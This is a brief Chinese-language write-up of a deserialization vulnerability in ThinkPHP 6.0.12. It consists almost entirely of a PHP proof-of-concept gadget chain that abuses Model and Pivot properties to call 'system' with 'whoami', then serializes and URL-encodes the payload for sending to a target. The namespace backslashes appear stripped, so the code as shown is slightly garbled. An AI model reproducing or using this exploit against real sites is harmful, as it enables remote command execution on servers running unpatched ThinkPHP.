ThinkPHP V6.0.12LTS 反序列化漏洞

composer create-project topthink/think=6.0.12 tp612

<?phpnamespace think {    abstract class Model {        private $lazySave = false;        private $data = [];        private $exists = false;        protected $table;        private $withAttr = [];        protected $json = [];        protected $jsonAssoc = false;
        public function __construct($obj='') {            $this->lazySave = true;            $this->data = ['whoami'=>['whoami']];            $this->exists = true;            $this->table = $obj;            $this->withAttr = ['whoami'=>['system']];            $this->json = ['whoami'];            $this->jsonAssoc = true;        }    }}
namespace thinkmodel {    use thinkModel;    class Pivot extends Model {            }        $p = new Pivot(new Pivot());    echo urlencode(serialize($p));}

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